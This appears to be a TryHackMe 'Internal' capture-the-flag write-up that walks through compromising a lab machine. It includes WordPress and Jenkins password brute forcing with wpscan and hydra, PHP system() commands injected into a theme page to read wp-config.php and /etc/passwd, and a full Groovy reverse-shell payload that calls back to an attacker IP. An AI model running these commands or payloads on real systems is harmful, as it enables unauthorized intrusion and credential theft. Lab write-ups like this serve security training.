Writeup author : Hicham Terkiba (@IOBreaker)

Try Hack Me – Box Description :

You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks.

Scope of Work

The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:

  • User.txt
  • Root.txt

Additionally, the client has provided the following scope allowances:

  • Ensure that you modify your hosts file to reflect internal.thm
  • Any tools or techniques are permitted in this engagement
  • Locate and note all vulnerabilities found
  • Submit the flags discovered to the dashboard
  • Only the IP address assigned to your machine is in scope

As usual I always start with some recons

$ sudo rustscan internal.thm --ulimit 5000 -- -O -A -sC -sV --script vuln 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.16.208:22
Open 10.10.16.208:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -O -A -sC -sV --script vuln -vvv -p 22,80 10.10.16.208

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-12 09:40 EDT
NSE: Loaded 149 scripts for scanning.

[--- REDACTED ---]

Nmap scan report for internal.thm (10.10.16.208)
Host is up, received echo-reply ttl 63 (0.053s latency).
Scanned at 2020-10-12 09:41:04 EDT for 31s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))

[--- REDACTED ---]

| http-enum: 
|   /blog/: Blog
|   /phpmyadmin/: phpMyAdmin
|   /wordpress/wp-login.php: WordPress login page.
|_  /blog/wp-login.php: WordPress login page.
|_http-jsonp-detection: Couldn't find any JSONP endpoints.
|_http-litespeed-sourcecode-download: Request with null byte did not work. This web server might not be vulnerable
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

[--- REDACTED ---]

Uptime guess: 6.885 days (since Mon Oct  5 12:27:24 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   33.79 ms  10.9.0.1
2   187.88 ms internal.thm (10.10.16.208)

[--- REDACTED ---]


rustscan
give us precious information :

  • Port 80 open
  • Port 22 open
  • /blog/
    • /phpmyadmin/: phpMyAdmin
    • /wordpress/wp-login.php: WordPress login page
    • _ /blog/wp-login.php: WordPress login page.

So I was in front of a wordpress blog and a phpmyadmin exposed to me.

The wordpress blog login page

I fired up wpscan to do some oriented recons

$ wpscan --url 'http://internal.thm/blog' --enumerate vp,vt,u,dbe
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.7
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.16.208]
[+] Started: Mon Oct 12 09:53:31 2020

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] WordPress readme found: http://internal.thm/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://internal.thm/blog/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
 |  - http://internal.thm/blog/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
 | Last Updated: 2020-08-11T00:00:00.000Z
 | Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
 | [!] The version is out of date, the latest version is 2.4
 | Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[--- REDACTED ---]

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[--- REDACTED ---]



wpscan provided me with interesting information

  • WordPress version 5.4.2
  • XML-RPC enabled
  • Theme twentyseventeen, version: 2.3
  • Author Posts detection via Json Api

Thanks to wpscan, I got a valid user name using the json api call

  • user : admin

XML-RPC is active and i used it to get a user name, this is important to shorten password brute force step if needed

To do so, i used wpscan again but this time providing a wordlist for passwords brute forcing

$ wpscan --url 'http://internal.thm/blog' --passwords /usr/share/wordlists/rockyou.txt --usernames admin
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.7
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.16.208]
[+] Started: Mon Oct 12 10:06:31 2020

[--- REDACTED ---]

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / m********s                                                                                                                                                             
Trying admin / princess7 Time: 00:01:45 <                                                                                                      > (3885 / 14348277)  0.02%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: admin, Password: my2boys

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Mon Oct 12 10:08:25 2020
[+] Requests Done: 3937
[+] Cached Requests: 5
[+] Data Sent: 1.913 MB
[+] Data Received: 2.579 MB
[+] Memory used: 239.867 MB
[+] Elapsed time: 00:01:53

I ended up with a valid credentials

  • Username: admin
  • Password: m********s

I gained the access to the wordpress admin panel

Next step was to implement a reverse shell call to be able to have a direct access to the machine for recons steps, i decided to modify the theme 404 page for that purpose

I them added a php reverse shell script from pentestmonkey

I changed ip and port this my attacker machine ones, saved the file.

I started a netcat listener on my machine and tried to load a fake page to be sure to have the 404 page as result and execute my revShell

I was surprised to notice that the connexion was established buy immediately disconnected without persistance

The php revShell indicated a connection refused (111)

I decided to go with a python RevShell

but the result was the same.

I decided to use a malicious plugin and upload it directly into the wordpress plugin manager

I fired up wordpwn and got the malicious.zip plugin plus the msfconsole listener waiting for a connexion

then i displayed the plugin manager page

I tried to upload the malicious.zip plugin file

but again, it does not work because the uploads directory was read only

I decided then to go with old school method (injecting my recons cli directly on the web page and display the result)

echo '<pre>';
$last_line = system('cat wp-config.php', $retval);
echo '
</pre>
<hr />La dernière ligne en sortie de la commande : ' . $last_line . '
<hr />Valeur retournée : ' . $retval;


echo '<pre>';
$last_line = system('ls -alrt', $retval);
echo '
</pre>
<hr />La dernière ligne en sortie de la commande : ' . $last_line . '
<hr />Valeur retournée : ' . $retval;

It worked like perfectly but i noticed that the wp-config.php file was not displayed correctly

I decided to remove the line indicating that it is a php file to avoid parsing it as a php file

echo '<pre>';
$last_line = system('cat wp-config.php | grep -iv \<', $retval);
echo '
</pre>
<hr />La dernière ligne en sortie de la commande : ' . $last_line . '
<hr />Valeur retournée : ' . $retval;

Bingo, I got the DB login/password


/** MySQL database username */ define( ‘DB_USER’, ‘wordpress’ );

/** MySQL database password */ define( ‘DB_PASSWORD’, ‘w*********3’ );

I tested my brand new discovered creds on phpmyadmin to see if any useful information can be found in the database

I did not found interesting information, so i decided to continue doing enumerations and recons

echo '<pre>';
$last_line = system('ls -alrt /home', $retval);
echo '
</pre>
<hr />La dernière ligne en sortie de la commande : ' . $last_line . '
<hr />Valeur retournée : ' . $retval;

I founded a name of an existing used (interesting because this could be our entry point for next steps)

To avoid screenshot, I summarised the CLI i passed thought the web page like this :

$ webShell > pwd
/var/www/html/wordpress

$ webShell > hostname -I
10.10.16.208 172.17.0.1    <========= definitely should explore this subnet when getting acces to the machine

$ webShell > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


$ webShell > cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin

aubreanna:x:1000:1000:aubreanna:/home/aubreanna:/bin/bash   <====== the user

mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false


$ webShell > ls -alrt /home
total 12
drwxr-xr-x 24 root      root      4096 Aug  3 01:31 ..
drwxr-xr-x  3 root      root      4096 Aug  3 01:40 .
drwx------  7 aubreanna aubreanna 4096 Aug  3 03:57 aubreanna

$ webShell > ls -alrt ../../../
total 56
drwxrwsr-x  2 root staff  4096 Apr 24  2018 local
lrwxrwxrwx  1 root root      4 Feb  3  2020 run -> /run
drwxr-xr-x  2 root root   4096 Feb  3  2020 opt
drwxrwsr-x  2 root mail   4096 Feb  3  2020 mail
lrwxrwxrwx  1 root root      9 Feb  3  2020 lock -> /run/lock
drwxr-xr-x  4 root root   4096 Feb  3  2020 spool
drwxrwxrwt  2 root root   4096 Feb  3  2020 crash
drwxr-xr-x 24 root root   4096 Aug  3 01:31 ..
drwxr-xr-x 14 root root   4096 Aug  3 01:49 .
drwxr-xr-x  3 root root   4096 Aug  3 03:00 snap
drwxr-xr-x  3 root root   4096 Aug  3 12:53 www
drwxrwxr-x 12 root syslog 4096 Aug  3 12:58 log
drwxr-xr-x 14 root root   4096 Aug  3 12:58 cache
drwxr-xr-x 47 root root   4096 Aug  3 12:58 lib

drwxr-xr-x  2 root root   4096 Aug  9 06:25 backups  <==== great, perhaps some interesting information there

drwxrwxrwt  2 root root   4096 Oct 12 13:38 tmp

$ webShell > ls -alrt ../../../backups

total 764
-rw-r--r--  1 root root      437 Aug  3 01:31 dpkg.diversions.0
drwxr-xr-x 14 root root     4096 Aug  3 01:49 ..
-rw-------  1 root root     1626 Aug  3 01:51 passwd.bak      <====== not readable by us at this stage

-rw-r--r--  1 root root      207 Aug  3 01:51 dpkg.statoverride.0
-rw-r--r--  1 root root     3974 Aug  3 03:00 apt.extended_states.1.gz
-rw-------  1 root root      746 Aug  3 03:09 group.bak
-rw-------  1 root shadow    625 Aug  3 03:09 gshadow.bak
-rw-------  1 root shadow   1056 Aug  3 03:32 shadow.bak
-rw-r--r--  1 root root    37895 Aug  3 12:58 apt.extended_states.0
-rw-r--r--  1 root root   649943 Aug  3 12:58 dpkg.status.0
-rw-r--r--  1 root root    51200 Aug  9 06:25 alternatives.tar.0
drwxr-xr-x  2 root root     4096 Aug  9 06:25 .

Manual recons and enumerations took me very long time, but i succeeded find a file in /opt directory named wp-save.txt

I displayed it’s content and found interesting creds

I got the aubreanna’s password, time to test if i can use them to initiate an ssh connexion to the box

The aubreanna’s creds was the correct ones

I finally got the first flag 🙂

I founded a text file named jenkins.txt

aubreanna@internal:~$ cat jenkins.txt 
Internal Jenkins service is running on 172.17.0.2:8080

A note in this file was talking about jenkins running on port 8080 using ip 172.17.0.2

$ ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm 

Now i was able to access the jenkins web site using 127.0.0.1:8080 from my machine

I tried to log in using admin/admin and aubreanna’s password but i failed

I decided to grab the auth request and try to do brute forcing using jenkins admin account

POST : http://127.0.0.1:8080/j_acegi_security_check
PARAMS : j_username=admin&j_password=test&from=%2F&Submit=Sign+in
ERROR : Invalid username or password

For this purpose i used hydra

$ hydra -l 'admin' -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8080 http-post-form '/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:Invalid' 

Finally i got admin’s password

The idea was to explore jenkins to see if i can found any interesting pipelines, if not, switching to the script console revShell techniques (you can find an interesting article on this site)

After some recons i decided to go with the script console

I used this groovy payload after replacing the host and the port variables with mines

String host="10.9.80.49";
int port=4499;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

I started by netcat listener and clicked on run (on the very bottom right side of the textarea)

I ended up getting my reverse shell.

Because i founded all interesting information in /opt before, i decided to go immediately to /opt again and see if i can have other interesting information

$ nc -lvnp 4499
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4499
Ncat: Listening on 0.0.0.0:4499
Ncat: Connection from 10.10.14.220.
Ncat: Connection from 10.10.14.220:59488.
id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
cd /opt
ls -l
total 4
-rw-r--r-- 1 root root 204 Aug  3 03:31 note.txt
cat note.txt
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:t*************3

It was a very quick win, because i founded a note.txt file with the root password

I got the root.txt flag

Enjoy 😉